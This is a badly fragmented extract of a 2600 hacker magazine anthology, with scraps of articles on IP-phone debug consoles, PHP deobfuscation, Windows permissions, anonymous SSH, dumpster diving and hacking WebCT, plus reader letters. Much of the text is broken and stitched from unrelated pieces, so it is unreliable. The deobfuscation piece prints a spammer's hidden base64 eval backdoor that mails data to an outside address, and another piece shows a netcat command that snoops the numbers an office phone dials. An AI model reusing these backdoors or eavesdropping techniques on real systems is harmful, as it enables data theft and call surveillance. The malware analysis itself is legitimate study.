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without needing to go through the registration 

hotel where there were business meeting 

2600 
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http://sourceforge.net/projects/poxy/  
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by Metalx1000
    metalx1000@yahoo.com

to walk right up to the phone and get the 

going to go into detail on nmap, as there 

/home/user> nc 192.168.22.237 9027
[17:17:12.428] command_poll:  
got listenfd event
[17:17:12.439] command_poll:  
action->fd_ptr=9 accepted
[17:17:12.439] Connected to station 237
[17:17:12.441] Phone Version: 3.0.026
[17:17:12.439] Phone Build Date: 
06/05/2008 17:17:12
[17:17:12.439] Phone MD5Sum:  
3777ad4b3ac20ae9b56391267e81bb90
[17:17:12.450] Boot Version: 1.04
[17:17:12.451] Boot Build Date: 
05/03/2005 22:40:17
[17:17:12.450] Boot MD5Sum:  
5b84e34dcf06235e3763c755a9c57e9c

*** Console commands
[19:42:19.089] @ [destip] - Send 
 debug log to remote syslog at 
[destip]

[19:42:19.089] or turn off if 
[destip] not specified

[19:42:19.100] ! [agressiveness] -  
Set speakerphone agressiveness

[19:42:19.100] 0..7 - debug flag level
[19:42:19.099] a - debug flag toggle
[19:42:19.098] A - verbose flag toggle
[19:42:19.099] B - Generate Test 

Tone on Bzr
[19:42:19.109] c - core selection 

alt between 1, 2
[19:42:19.109] C - crash write to 0
[19:42:19.108] D - 1 - Si3000, 

Default - Dump DSP statistics
[19:42:19.109] d - increase  

dspDriverVerbose (wrap around 
range 0-3)

[19:42:19.108] E - Dump EPROM info
[19:42:19.110] e - Dump Ethernet 

stats
[19:42:19.118] e 0 - reset Ethernet 

stats
[19:42:19.119] g - gdb spin loop
[19:42:19.120] H - Switch to Headset
[19:42:19.118] h - Switch to Handset
[19:42:19.120] I - Switch to Mic/Spkr
[19:42:19.119] i - Adjust mic input  

gain (@DSP) +1dB (wraps around)

Calling 
Comdial
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[19:42:19.128] k - Dump system info
[19:42:19.129] K - Keypad timer  

ticks since last key event
[19:42:19.129] L - LED test
[19:42:19.128] M - Increase  

ADC Rx (Mic) gain +1
[19:42:19.129] m - Decrease  

ADC Rx (Mic) gain -1
[19:42:19.130] o - Toggle voice 

activity detection
[19:42:19.140] p - Play voice  

prompt welcome to Soundpipe...
[19:42:19.140] r - Request  

DSP Statistics
[19:42:19.138] S - Inc  

Spkr Out Gain (@DSP)
[19:42:19.139] s - print  

station number of this phone
[19:42:19.140] T - Mute  

ALL Input and Outputs
[19:42:19.149] t - Generate DSP tones
[19:42:19.148] U - Inc Spkr  

Vol. (Dec Attenuation)
[19:42:19.148] u - Dec Spkr  

Vol. (Inc Attenuation)
[19:42:19.149] V - Inc ADC  

Tx PGA (O/P) gain +1
[19:42:19.150] v - Dec ADC  

Tx PGA (O/P) gain -1
[19:42:19.148] W - Inc ADC  

Rx PGA (I/P) gain +1
[19:42:19.158] w - Dec ADC  

Rx PGA (I/P) gain -1
[19:42:19.159] X - Inc ADC Line  

Out gain (Dec Attenuation)
[19:42:19.158] x - Dec ADC Line  

Out gain (Inc Attenuation)
[19:42:19.159] Y -  

Increase Line-In gain
[19:42:19.160] y -  

Decrease Line-In gain
[19:42:19.159] z - Test LCD/ 

Signal/Notify msgs
[19:42:19.169] Z - Play test tone /home/user> nc 192.168.22.237 

9027|grep LCDLine1

[20:55:52.687] LCDLine1: ENTER NUMBER

[20:55:53.409] LCDLine1: PRI

[20:55:54.210] LCDLine1: PRI

[20:55:54.728] LCDLine1: 1

[20:55:55.059] LCDLine1: 18

[20:55:55.358] LCDLine1: 180

[20:55:55.518] LCDLine1: 1800

[20:55:55.868] LCDLine1: 18004

[20:55:56.109] LCDLine1: 180046

[20:55:56.259] LCDLine1: 1800466

[20:55:56.449] LCDLine1: 18004664

[20:55:56.608] LCDLine1: 180046644

[20:55:56.808] LCDLine1: 1800466441

[20:55:56.987] LCDLine1: 18004664411

grep

showed the number being dialed in real 

Well, I guess this is where I do shout-outs to 
people.  So, hey Kenn, James, and Eric.



at around eight in the morning and sets just 

redundant, and networks are designed in 

sheathing, and then the bundles are wrapped 

whether a downed line is a dangerous high-

Telecom Informer
by The Prophet
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by Cliff

impossible to read, it just makes it a 
pain in the ass, and not worth bothering 

to run, it has to be human-readable at some 

eval()

The eval("string")

"string"

echo eval(base64_decode("bWFpbCgiZ 
3JvZmlfaGFja0Bob3RtYWlsLmNvbSI 
sICRzdWJqOTgsICRtc2csICRtZXNzY 
WdlLCAkcmE0NCk7"));

"bWFpbCgiZ3JvZml  

faGFja0Bob3RtYWlsLmNvbSIsICRzdW 

J q O T g s I C R t c 2 c s I C R t Z X N z Y W d l L C A  

kcmE0NCk7"

mail("gxxxx@hotmail.com", $subj98,  
$msg, $message, $ra44);

the email addresses the spammer was using, 
and send it to gxxxx@hotmail.com

base64_

decode()

gzuncompress(), 

THE HACKER DIGEST - VOLUME 25    

173

De-obfuscating  
Scripting  Languages
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2600

<?php // This file is protected by  
//copyright law and provided under  
//license. Reverse engineering of  
//this file is strictly prohibited.
$OOO0O0O00= 
__FILE__;$O00O00O00=__LINE__;

$OO00O0000=42896;eval(gzuncompress(
base64_decode('eNplj8duwkAYhF<<snip  
about 300 chars>>T47xDRfgD5Al8g  
)));return;?> GYQYAfsKI0EW/cBaMtx 
rEmJqy6xkdCvAsLRv6IViHHeQFVmVAsp  
<<snip about 40kb of similar stuff 
>>7G/T/ntYYFI==

want to run on my

That seeming $000000000

//$OOO0O0O00=__FILE__; 
$file=__FILE__;
//$O00O00O00=__LINE__;
//$line=__LINE__;
$line=47;
//$OO00O0000=42896;
$offset=42896;

$file, $line and $offset would 

__FILE__ and __LINE__

$line

$a1='eNplj8duwkAYhF/G0u4qRlmI44As  
H+idpbdL5PK7gBu7LsDTBxREhKKZ02j  
mk0ZilFJ2E9WdOIEIS4yx30BG3EREKzw/  
AFwqSexevJs4LqQCS8+pXKYVhWj/
YoXWVKLdiI+l7l6zyIrDhIMQ2DQEqMq3D  

VZsAxYpTzl2OBj2C6JKiYzaUQr8EmfF0  
Zv3dsPJhq2WdaNhNq2W3XG6bt8fHEbB  
OJwms9NCrPPteX+l5cqH8ql+VWtv7zq5U b

3RbLU73V5/MByNJ2w6my+Wq/Vmu9sbp  
mWD43r+4RiEUZycuEizvDhfXhiIE  
KJBbgT47xDRfgD5Al8g';;

$a2=base64_decode($a1);;
$a3=gzuncompress($a2);;

 
//eval sequence $a3
$O000O0O00=fopen($OOO0O0O00,'rb');
while(--$O00O00O00)fgets(  

$O000O0O00,1024);;
fgets($O000O0O00,4096);
$OO00O00O0=gzuncompress(base64_dec
ode(strtr(fread($O000O0O00,480),'
EnteryouwkhRHYKNWOUTAaBbCcDdF
fGgIiJjLlMmPpQqSsVvXxZz0123456
789+/ =','ABCDEFGHIJKLMNOPQRST
UVWXYZabcdefghijklmnopqrstuvwxyz
0123456789+/')));

eval($OO00O00O0);;

//next lines address the data lines
$stream1=fopen($file,'rb');
while(--$line)fgets($stream1,1024);
fgets($stream1,4096);
$b1=fread($stream1,480);
//$b1='W/<<lots of  
snippage>>//8lsR3kgX3JRrh9Em';

$b2=strtr($b1,'EnteryouwkhRHYKNWOUTAa
BbCcDdFfGgIiJjLlMmPpQqSsVvXxZz
0123456789+/=','ABCDEFGHIJKLMNOP
QRSTUVWXYZabcdefghijklmopqrstuvw
wxyz0123456789+/');

$b3=base64_decode($b2);
$b4=gzuncompress($b3);

$c2=fread($stream1,$offset);;
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$c3=strtr($c2,'EnteryouwkhRHYKNWOU  
TAaBbCcDdFfGgIiJjLlMmPpOoQqSs
VvXxZz0123456789+/=','ABCDEFGHIJK
LMNOPQRSTUVWXYZabcdefghijklmnopqr
stuvwxyz0123456789+/');;

$c4=base64_decode($c3);;
$c5=gzuncompress($c4);;
//$c1=ereg_replace('__  

$c6=strlen($c5);;

had
print ($c6);
print ($c5); //dump the secret script
fclose($stream1);
return;
?>

 
alert(‘Page Protected by xxx’)

2600

Check Out Our Newest Shirt
2600

 

 
2600  



by Isreal 

not real phone calls.  

would allow the phreakers’ messages to be more plausible to just target one oil 

Social  Engineering the Stock Market  and 
Circumventing the Price  of  Gas 
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MyTown

it’s their job to suggest to people what to started to slide, it is no longer inside 
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Available at 
booksellers worldwide including 

http://amazon.com/2600
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by DieselDragon 

0x00. Introduction:

0x01. Who this guide is for:
2600

If You(“Experienced user”)=True Then 
   Goto 0x07
End If

0x02. Security in Windows - 
A brief intro:

 

0x03. A hypothetical case-study:

Making Your 
Windows Box 

A Little More 
Secure 
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0x05. A clean, 
more secure installation:
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0x06. Dealing with 
troublesome applications:
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command.com

 
“CD \Progra~1

cacls 

Worldo~1

“cacls Worldo~1 /T /E /C /G David:F  0x07. Windows security and 
best-practice summary:

• 

• 

• 
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• 

• 

• 

• 

Shouts to whoever came up with the User/
Group/Other permission system in Linux from 
which the initial principles in this article are 

derived and a family from Guildford who were 
the inspiration for the case-study above, and 

indeed the article itself.

by Kartikeya Putra
alienbaby@freaknetwork.in

http://www.hopistar.org

"All human beings, all persons who 
reach adulthood in the world today are 
programmed biocomputers. None of us can 
escape our own nature as programmable 

entities. Literally, each of us may be our 
programs, nothing more, nothing less."

Programming and Meta-
programming in the Human Biocomputer

 - - - Hack Thyself - - - 
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Scripts, Plans, Goals, and Understanding

suggested that human thinking is based on a 

Scripts People Live

what is right and is more about training 

 

That

The Anger Habit 
Workbook

Breaking Free from the Matrix
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Bre Pettis

Hacker Perspective

robots that will do our bidding are waiting 
-

-

shows like The Jetsons and Star Trek

-

-

Then one summer, I got obsessed with 
-

Make 
Magazine

-

History Hacker

Things
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-

-

-
-

-

it together, and painted it to make it look 

-

-

-
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Send your article to articles@2600.com (ASCII text preferred, 

graphics can be attached) or mail it to us at 2600 Editorial Dept., 

PO Box 99, Middle Island, NY 11953-0099 USA. If you go the snail 

mail route, please try to include a CD copy so we don’t have to 

retype the whole thing if we decide to use it.

Articles must not have already appeared in another publication or on the Internet. 

Once published in 2600, you may do whatever you please with your article.

WRITERS WANTED

and I just learned how to use it to make 

-

to spend a solid week learning how to use 

-

-

-

Bre Pettis is obsessed with making 
things and is a founding member of 

videos at brepettis.com.
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Anonymous SSH 

at the Library

by carbide

by lk

 

 

  http://www.rocbattle.com/ 

rocbattle.mp3  

Tools... 

Map Local..."  

  http://www. 

rocbattle.com/rocbattle.mp3    

 

Beating the System 

to get Beats
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      http://www.
hushmail.com

Then using that email address, 
   There 

 
http://www.dmoz.org/Computers/ 
Internet/Access_Providers/ 
Unix_Shell_Providers/Free_ 
Shells or http://www.google. 
com/Top/Computers/Internet/ 
Access_Providers/Unix_Shell_ 
Providers/Free_Shells.  

http://jaguar.garo 
fil.be

  

http://www.appgate.com/product 
s/80_MindTerm/110_MindTerm_ 
Download/index.php.  This page does 

not host the ssh applet, it allows one to 

http://rumkin.com/tools/ssh  

using a free

anonymously, 

is not the thing that is wrong or right, it’s 

by PriesT

Within this establishment were multiple 

a Lamborghini dealership, and multiple 

Trashing Gone Wrong in Switzerland
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There were enough papers there to 

Then I 

Right

I was doing there multiple times, and I 

We waited, and waited, and waited, and 



THE HACKER DIGEST - VOLUME 25    

190

This Posting Has Been Flagged For Removal
by Half Life 

CL Flagging System

Flag Thresholds

Proxy Flagging

 

one that took it down, but I see it happen so 

Finding Proxies

http://demo1.proxysplit.com

Risks
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by Ian Murphy (aka Backspace) 
back_space@hackermail.com

Password Memorization Mnemonic 

all other passwords generated using this 

Password Generation

that knowledge to generate a long, pseudo-

AscalIibwmbni 

Asc@l11bwmbn1!

Vectors of Attack

that Dear Penthouse

The Drawbacks

Conclusion

Many thanks to The_rick and Typoninja 
for reviewing the article.  Shouts to the old 

Dievo crew!

Improved Mnemonic Password Policy
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Pappy's 
Cheese Box

By Pappy

I use IPKall and it’s free
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Then, on another trip to the store, tape 

Conclusion

Shout out to Ghostie and his article 
"Singapore Library Mischief" in the 

Autumn 2006 issue of 2600. 

by Yimir 
roi_noir@hotmail.com

how to use this database against the 

Background

The Hack
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by Unanimously 
Anonymous

name, address, phone number, 

Down with the used games monopoly!
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by =-virus-=

• 
• 
• 
• Time

not 

on

http://searchwincomputing. 
techtarget.com/tip/0,289483, 
sid68_gci1194144,00.html

 
 

very

Note: The 

Vulnerabilities in the 
Corporate Sector
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Transmissions
by Dragorn

“Hey Billy, do you remember that time 
Nancy fell down the stairs, and her TKIP 
was cracked?” “Yeah, that reminds me of 
when...”

-

“Yeah, that sure was crazy that time, 
almost reminds me of when the US govern-
ment waived constitutional rights if you were 
crossing a border, or even ‘near’ one!”

-



THE HACKER DIGEST - VOLUME 25    

197

-

-

-

-

“...And remember when we used to have 
as much Internet as we could carry?”

-

-

-

“Wow, we sure have had a lot of good 
times this year! Has everyone got their 
digital converter boxes ready for the analog 
cut-off?”

“Shut up, Billy.”



THE HACKER DIGEST - VOLUME 25    

198

Business
Intelligence

by Tony Hepo

I also want to point out that most people 

known as dimensional modeling and is 
used as a standard in the data warehousing 
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dimensions, and then load the result into 

http://www. 

oracle.com/technology/index.html 

2600
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H a c k i n g

W e b C T
by Milton Bradley

"WebCT (Course Tools), now owned by 
Blackboard, is an online proprietary virtual 
learning environment system that is sold to 
colleges and other institutions and used in 
many campuses for e-learning. To their WebCT 
courses, instructors can add such tools as 
discussion boards, mail systems and live chat, 
along with content including documents and 
web pages."

user: billybadass0101  
pass: bada0000

also assume that I asked her to just look up 

a mass phishing message to all the students 
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What now?

These three also did not respond to messages 

seem to be more open on testing dates than 
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To Kill an 
Atomic

Subwoofer
by Dionysus
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I knew I had to do this right, and I knew there 

-

-

their eardrums in pain, just like I do when I start to 

-

-

I also knew I had to get within about a hundred 

-
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-

-

-
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-
-

-

-

-
ator, and told him what was going on outside, and 

-
-

-

 

By the way, this whole story is complete and 
utter bullshit.  Just thought I'd let you know.
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by Peter Wrenshall

it was doing alone in a deserted room, but the 

hard disk whirred, died, and then whirred 

exit
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-

-

-

-

-

-

was just about to start breathing again when 

-
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-

-

-

asked to assess the damages to their suppos-

-

-
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-

-

-
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Sleeper
By Peter Wrenshall

-

-

-

all knew that I had done it, we all also knew that 

-

-

-
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imagination broke loose thinking about some 

like he treated the hired help, and had lost his 

girl, prompting again me with her moribund 

-
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-

-

up a gangplank onto a ship that was about the 

We went inside, down a metal ladder, and 

-

-
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-

he opened a spreadsheet and then pointed at 

-

-
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Conspiracy
by Peter Wrenshall

987654321@hush.ai

2600, and I thought 

2001

It wasn’t just me who was getting hindered, 

was doing, I took two sheets, making them look 

Well, it was understandable that people were 
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Roper + Dating Program= Hack of the Year
All 

your computer-dating are belong to me.

2600 doesn’t make 
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It took me less than a minute to hunt through 

bounded down the steps, and then headed to 

The Great Date Hack

Vogue Magazine, 
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Expletive deleted. 

The Great Date 
Hack That Never Was

titled The Teacher’s Conspiracy Theory: How The 
Bad Kids Ruin It For The Rest of Them, and then one 

installation disk?
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Dispatches
Random Bits
Dear 2600:

Freedom 
Downtime

A reader of 2600
We have no problem at all with this as we made 

the movie as part of a cause to get the message out 
to as many people as possible in a time of great 
urgency. Spreading it around helped to accom-
plish this. Naturally, we encourage people to buy 
the DVD in order to support the magazine as our 
survival is what makes such projects possible in the 

available on the DVD. 

Dear 2600:

 
 

Travis H.
We also encourage our less intelligent readers to 

go have a look.

Dear 2600:

 
 

Michael J. Kowalski
NetworkActiv Software

Dear 2600:

-

noted relating to the number 2600.
Peter

Do not mistake coincidence for fate.

Dear 2600:
-

remove
chris

These magical devices will be available at The 
Last HOPE in addition to the new model which 
can turn televisions off (or on) at a distance of 100 
meters. It’s a great weapon against blaring TVs that 
seem to be appearing in more and more public 
spaces and it’s also great fun for trips to malls and 
electronics stores. For more info, go to http://www.
tvbgone.com.

Dear 2600:
-
-

Off The Hook.

Tsun
While we are all absurdly busy most of the 

time, it’s always possible you could catch us at a 
good moment. We suggest emailing oth@2600.com 
with your questions or for anything show-related. 
We get a ton of mail so we can’t always guarantee 
personal replies. But it can’t hurt to try. And for 
all others who don’t know about the show, tune 
in either live or through the archives by going to 
http://www.2600.com/offthehook. If you’re lucky 
enough to live within 60 or so miles of New York 
City, tune into WBAI 99.5 FM every Wednesday 
evening from 7 to 8 pm. This happens to be our 20th 
year on the air which is very hard to accept. Yes, the 
show is actually older than some of its cohosts.

Suggestions
Dear 2600:

-

2600 online 
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-

2600
want to deal with snail mail, but at least make it 

2600;
2600 into 

Bluecoat
We’re open to new ideas and are looking into a 

number of possibilities. We have no problem with 
the straight text of individual articles being repro-
duced and spread around, provided proper attri-
bution is given. But the whole key to our existence 
revolves around selling the printed issues. As we 
have no advertising to prop us up, we are entirely 
dependent on our readers to keep us in business 
and doing well enough where we can afford to make 
improvements and start new projects. We hope to 
be trying out some new ideas soon and of course we 
welcome your suggestions.

Dear 2600:

Rodger
This isn’t the only mail tracking entity out there. 

-
ment and expects to make extensive use of “Intelli-
gent Mail” barcodes in upcoming months. Details 
are at http://ribbs.usps.gov/OneCodeSolution.

Dear 2600:

Bryce Lynch
Network 22 (no longer @ Network 23)

This is very helpful information, except that we 
don’t use labels at all. Each of our mailings of new 
issues prints directly onto the envelopes. At least 
that’s one less thing to worry about.

Dear 2600:

Loki

Analysis
Dear 2600:

s
That was the C-Base tent, one of the more 

impressive ones at last summer’s Chaos Communi-
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cation Camp in Germany. We cannot tell you what 
went on inside it. But, as we all know, C-Base is the 
name of the old space station located under the city 
of Berlin. To this day the antenna of the C-Base space 
station can be seen high above the eastern part of 
the city by Alexanderplatz. It has been nicknamed 
“the TV tower.” We hope this helps answer your 
question.

Dear 2600:

-

-

not

2600

2600
Off The Hook

Oisin O’Connell
We couldn’t have said it better. In many circles 

in our culture, any talk of current events or remotely 
controversial subject matter is frowned upon as 
being off-topic or potentially divisive. We think it’s 
essential to always be looking at the bigger picture 
and to avoid becoming isolated inside your own little 
world of jargon and similar-minded people. That will 
often mean talking about things that cause disagree-
ments. But it will also make us all think and realize 
other perspectives. And we need to be aware of 
these things if we ever hope to grow, adapt, and be 
as relevant as possible to others as well as ourselves.

Queries
Dear 2600:

2600

Michelle

is the safest to use to ensure we don’t have problems 

articles@2600.com in a multitude of formats. It’s 
only bandwidth and disk storage, after all.

Dear 2600:

Jeff Nunn
Our recent reader survey indicated that multiple 

pages of code in the magazine was something we 
should try to avoid. Assuming the code isn’t essential 
to your article, it can be put on our website instead. 
We will then publish the URL in the article. (You are, 
of course, welcome to also post it on your own site 

in two ways: we avoid excess code in the maga-
zine and we make it that much easier for people 
who want to use the code to grab it by cutting and 
pasting rather than having to scan or retype it all.

Dear 2600:

drlecter
We agree that our words and voices should be 

piped into every home globally. Perhaps some of 
our more powerful friends can help to achieve this 
lofty goal. You can donate to the radio station either 
during the quarterly fund drives or online at www.
wbai.org/donate. Premium gifts are only offered 
during the fund drives but you can still designate 
“Off The Hook” as your favorite program when you 
donate online. The important thing is to support the 
station so that we can continue to provide this valu-
able forum to the world, including many people who 
have never heard of the hacker community.

Dear 2600:
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j4ys0n
Google’s page rank is a measure of how 

popular or important a web page is on the Internet 
(according to Google, anyway). It’s based on the 
number of other pages that link to that particular 
page, their page ranks, the relevancy of the links, 
and other factors that only Google really knows 
about for sure. Google has been known to punish 
those who routinely try to abuse the page rank 
system by manually lowering their rank. But as far 
as we know, we’re not among those who’ve been 
punished. In fact, at the time of this writing we have 
a page rank of 7 (out of 10) which is pretty good. 
Perhaps Google throws out an occasional “0” to 
prompt letters to our magazine and further their ad 
revenue. We refuse to support such behavior.

Dear 2600:
-

Cyph3r7
There are numerous ways. If there are 2600 

meetings in your area (look in the back of the maga-
zine for a list), stop by one of those and start talking 
to people. Hacker conferences are always a good 
place to meet new people and share common inter-
ests. And there are always online methods as well. 
Web forums, such as talk.hope.net which we run for 
our HOPE conferences or our IRC network found at 
irc.2600.net, are places where many people gather. 
These are just the areas we’re involved with - there 

little searching.

Dear 2600:

name
There was an article on Tor and SSH tunneling 

in our Autumn 2005 issue. One fact which is often 
stated is that Tor’s anonymity should not be mistaken 
for security. We welcome more articles on the 
subject.

Dear 2600:
2600

Jan
We can say with certainty that our name has 

nothing to do with the Amiga 2600. You probably 
meant the Atari 2600. We had nothing to do with 

shouted out “Ahoy!”, have anything at all to do 

with the Commodore computer magazine named 
“Ahoy!” which started publication the same damn 
month. (“Ahoy!” incidentally is the correct quote 
of how Alexander Graham Bell used to answer the 
phone, despite what you might learn from certain 
televised cartoons.) Now that we’ve gotten all of that 
sorted, perhaps we should discuss what percentage 
we will receive of the bet we helped you win.

Dear 2600:
2600 

-

-

-

-

-

-

2600

T.L./Retroactive
We’re not in the habit of endorsements nor 

would our staff ever come to an agreement on such 
an issue. We can say, however, that most of us look 
forward to the day when the current regime ends. 
To address the candidate you mention, Ron Paul 
indeed has some thought provoking positions. But 
you need to hold that up to his prior record to see 

of any candidate. There are some very disturbing 
signs from Paul’s past in the form of stridently racist 
and homophobic newsletters put out in his name 
through organizations he was closely involved with 
from the 1970s through the 1990s. It’s rather hard to 
believe he had no knowledge of this throughout that 
entire period as he now claims. That too should be 
weighed against his current words.
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Dear 2600:
2600

2600 

The Great Geek Manual

Andrew
We didn’t hit any shelves until years after we 

monthly newsletter that only had three sheets of 

dozen people and was mailed sometime in the 
middle of the month. Those of you early subscribers 
may remember that we fell into the habit of mailing 
each issue on the 12th of the month for some reason. 
We hope that helps.

Dear 2600:

-

-

2600

Anonymous
You’re facing two big challenges here. One is 

to convince people that privacy and security really 
do matter. You’d be amazed at how many people 
simply don’t care or think that their private informa-
tion isn’t of interest to anyone but them. We even 
see all kinds of really personal and private items 
being posted on the net by the individuals them-
selves! The second challenge is to have systems in 
place that are seamless and don’t require a second 
thought by those people who really don’t know 
anything about computers. Sure, it’s “super easy” 
for you to implement in Ubuntu. Would it be this 
easy for your grandmother? Would she even be able 

work for technically literate people. But in order 
for something like encryption to be accepted as a 
default by the masses, it has to be designed in such a 
way that the technically illiterate will have no trouble 
using it regularly. This requires a lot of patience and 
thinking outside the box we’re accustomed to being 
inside. But this is the key to getting it accepted as 
the “normal” way of things. Obviously, there is great 
pressure from certain entities not to have it go this 
way since they would then lose their ability to spy 
on people. Battling evil, illiteracy, and apathy all at 
once is a daunting task. We suggest you continue 

harm in preaching to the choir as long as that’s not 
all you do. Having more people who are on your 

Dear 2600:

granny

monitored, either by your next door neighbor or an 
anonymous foreign power. Use of excessive quota-
tion marks has been known to strengthen the power 
of the monitoring virus which lives in your keyboard. 
Avoid using computers altogether until you know 
what you’re dealing with. We suggest going to a local 
bookstore or library and researching the subject 
matter you’re interested in as thoroughly as possible 
before going any further. Spend hours over there 
reading and learning. Just be sure to face the door in 
case you were tailed.

Dear 2600:



THE HACKER DIGEST - VOLUME 25    

223

Widerstand
Currently we use InDesign on a Mac which is 

necessarily the right choice for you though. There 
are lots of alternative and open source programs out 
there as well. We’re certain any zine forum on the 
net would be discussing this topic at great length. 
Best of luck with your zine.

Dear 2600:

Jane Doe
You raise a good point so as of this issue we’ll 

make it equal across the board. A one year subscrip-
tion (or one year of back issues) plus a choice of a 
2600 sweatshirt or two 2600 t-shirts for every article 
printed or for every publication in the payphone or 
back cover pages. Fair?

“Surprised?”
Dear 2600:

surprised about?
Unr3a1

Well, for one thing, you can be surprised that 

entire message should have been spelled out. One 
thing you shouldn’t be surprised about though is 
the fact that we’ve responded to the majority of 
reader wishes and returned to our old spine format, 
which pretty much eliminates the possibility of the 
remainder of the message from ever being displayed. 
This has been an interesting year.

Dear 2600:

-
2600 with the same intent to 

Do not take this as a 2600 bashing session, 

HealWHans
The alignment of the letters on the spine was a 

mere microcosm of the problems we’ve had with 
measurements over the past year. We had some 
serious discussions and made a lot of decisions to 
keep such things from happening again. Now we 
just have to worry about the things that haven’t 
happened yet.

We’re not sure what the difference is between 
“feedback” and “a real poll.” The fact is we sent 
out thousands of surveys and the puzzle didn’t do 
too well. That, combined with the amount of effort 
it took to put them together, pretty much sealed 
their fate. We didn’t offer lifetime subscriptions to 
puzzle winners, just the honor of being mentioned 
or possibly some random back issues.

Hopefully the binding of this issue is staying put. 
Thanks for the constructive critique.

Statements
Dear 2600:

-
-

2600
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Asymptoted
So noted. This is to be expected. People have 

been trying to break up our meetings since before 

it wasn’t something worth paying attention to. We 
hope you don’t let this interfere with what you want 
to do.

Dear 2600:

-
rogation and other illegal methods while putting a 

-

A Depressed Soccer Mom
The FBI and the PTA have always been in cahoots. 

Everyone knows this. Thanks for the coded message 
which our lab is now processing. You will receive our 
reply through the usual channel. Namaste.

Dear 2600:

is

dave
Nothing like establishing an intelligent dialogue 

with intelligence forces.

Article Feedback
Dear 2600:

know about programming who knows nothing about 

but I would like to think that some might agree with 

Storm2439
-

tuation are a good idea. We wish you luck on them. 
Your grammar was better than that of most elected 

Dear 2600:

-

-

Colbert 
Report.

-

-
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Yawk

Dear 2600:

-

Anonymous

Dear 2600:

-

Jeff

Dear 2600:

I just wanted to mention to all interested a work-

-

Da Keet

Dear 2600:

Mike Diaz

Dear 2600:

two 

good thing 

 

virusrr

Dear 2600:

-
2600.
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Darren McCall

Dear 2600:

The Jeff
While not directly related to the types of hacking 

we usually talk about here, the subjects of mind 
enhancement, memory improvement, methods 
of staying up for long periods of time without rest, 
and similar topics have always been of interest to 
people in the hacker community. As the article 
says, self medication is dangerous and we certainly 
don’t encourage that sort of thing. However, under-
standing what’s out there, how it works, and how 
your brain might interface with such things is a 
fascinating and enlightening source of discussion to 
many.

Dear 2600:

to a rant about a message board that used to be 

Keep in mind, I used to love reading 2600 about 

David Barrios
We love getting criticism and letters that point 

out when we’ve done something bad or stupid. But 
this little diatribe doesn’t qualify. Here’s why. You 
don’t ever get to the point of why the article was 
bad. You pull the old trick of conjuring up phantom 
people who all agree with your assessment, thereby 
justifying it without producing anything of substance. 

eyes to read the article again”? Please. If it had so 
much of an effect on you that you felt compelled 
to write this letter, surely you can remember more 

about it than a little rant about a board which took 
far less space than you claim. Finally, the proverbial 

the magazine.” If we had that need, why would we 
have added additional pages in the last year? We 
know that nobody is going to like every article that 
gets printed here. But just because you come across 
something that differs with your perspective, there’s 
no reason to conclude that we’ve become desperate 
for material and will print anything. The only thing 
those kinds of accusations do is piss us off and 
detract from the point of your letter, which in this 

We appreciate anyone who truly does want to 
help out and make the magazine better. But simply 
bemoaning the fact that things aren’t as good as they 
used to be isn’t constructive. We’ve been hearing 
that critique since our second issue.

Scams
Dear 2600:

-

-

Warden1337
This is a perfect example of how security is only 

as good as the people entrusted with it. Fortunately 
this system didn’t allow you to bill this poor person 
in addition (we hope) but you were able to get 
access to all of their personal information including 
their prior history with the store and, in addition, 
lock them out of their own account. Plus, we would 
hate to think of what might have happened if you 
were a real jerk and didn’t return your rentals.
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Dear 2600:

-

-

LoHan
This kind of thing is starting to pop up in various 

places. Basically, for a fee, you submit to such things 

the system and, for some reason, deemed less of a 
security risk which allows you to move through secu-
rity lines quicker. We don’t follow the logic which 

Dear 2600:

-

-

mode, but

-

owning

Nagasenpai
It seems to us that being drawn into this compa-

sign of success for them than any exploit to gain a 
little bit of free time might be for you. Still, congrats 

Dear 2600:

-

-

GeekBoy

Dear 2600:

-
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-

 

-

L33tphreak
This kind of business practice on the part of HP is 

nothing short of shameful. Only consumer pressure 
will force them to stop taking advantage of people 
in this way.

Opportunity
Dear 2600:

marie
How very lucky for us your letter came when it 

did. We are always happy to help people with such 
matters and it seems as if more and more of them 
need our help every day. We are delighted to give 
you our banking information along with all sorts of 

you to get access to the money which is rightfully 
yours. There’s no need to talk about percentages - 

we feel it’s the least we can do and we hope that 
everyone out there who happens to get a letter like 
this expends all efforts to help out. We have already 
written to you with an offer to extend a loan for the 
full amount while you wait for your money to be 
released. Our philosophy is that if more of us would 
only step up like this, the world would surely be a 
much nicer place.

Observations
Dear 2600:

-

2600.

Rob G.
We’ve always had our enemies and their methods 

have always been mostly to try and shut us up either 
with threats or by preventing others from reading our 
words. That’s another reason we rely on our readers 
to help make sure this kind of thing doesn’t stand. 
Thanks for being there for us.

Dear 2600:

all at the 2600

entire

not

published
-
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no

-

-

is not
2600

LongwoodGeek
These are great examples of the positive things 

that can go on in a college environment. But while 
the demonstration you described was indeed 
inspiring, the fact that you were required to be in a 
“free speech zone” to participate is nothing short of 
outrageous. If it was just because the demonstration 

-
standable. But from what you write, it appears that 

speech is not something to be kept in a cage and the 
very symbolism of such a thing should be enough 
for even the most dimwitted to realize it’s a really 
bad idea. You clearly have to start having demonstra-
tions against the zone itself and in order to do that 
you will have to have the demonstrations surround 
it. In other words, they need to be held anyplace but 
the zone. If the imposition of “free speech zones” 
anywhere in the country was guaranteed to spark 
a dramatic increase in protests against them, we 
don’t doubt that they would all soon be removed. 
If, on the other hand, they’re tolerated for even a 
few years, they will become a permanent part of our 
society and people will start to believe that this is the 
normal way of life.

Good luck on all your other endeavors and 
thanks for the support.

Dear 2600:

Check Check
We hope you can adjust back to the old way. 

We also hope the old way is as good as the original 
old way.

Dear 2600:

-

-

carbon/infowire
This is about as dumb as a company can get. We 

haven’t been able to duplicate the SSN question but 
we’ve seen a bunch of others that reveal private info 
to anyone who can type your cell phone number 
into a website. We’ve seen everything from names of 
former roommates, past employers, old addresses, 
locations of owned property, and more. All of these 
are given as multiple choice answers but that still 
can give someone enough information to learn more 
about you than they ordinarily would. It should be 
pointed out though that all of this information is 
available publicly, just not nearly as easily.

Dear 2600:

orPHan
You may have that saying backwards. As for 

Build 2600, we’ve probably heard about it at least 
2600 times now. It’s lost the magic.

Dear 2600:
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-

J
We suspect after this letter is printed, it’ll wind 

up in the hands of the right people at the bank. 
Speaking up on this likely has done a lot of good and 
hopefully protected all sorts of people in the future.

Dear 2600:

-

Jeff

Dear 2600:

-

-

Eric Lee Elliott

Letter Feedback
Dear 2600:

 

-

2600

Cliff

Dear 2600:
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-
try -

-

hAshedmAn
Excellent point. Jumping to conclusions seems to 

be a trait we’re all guilty of exhibiting at times.

Dear 2600:

2600.

2600. There 
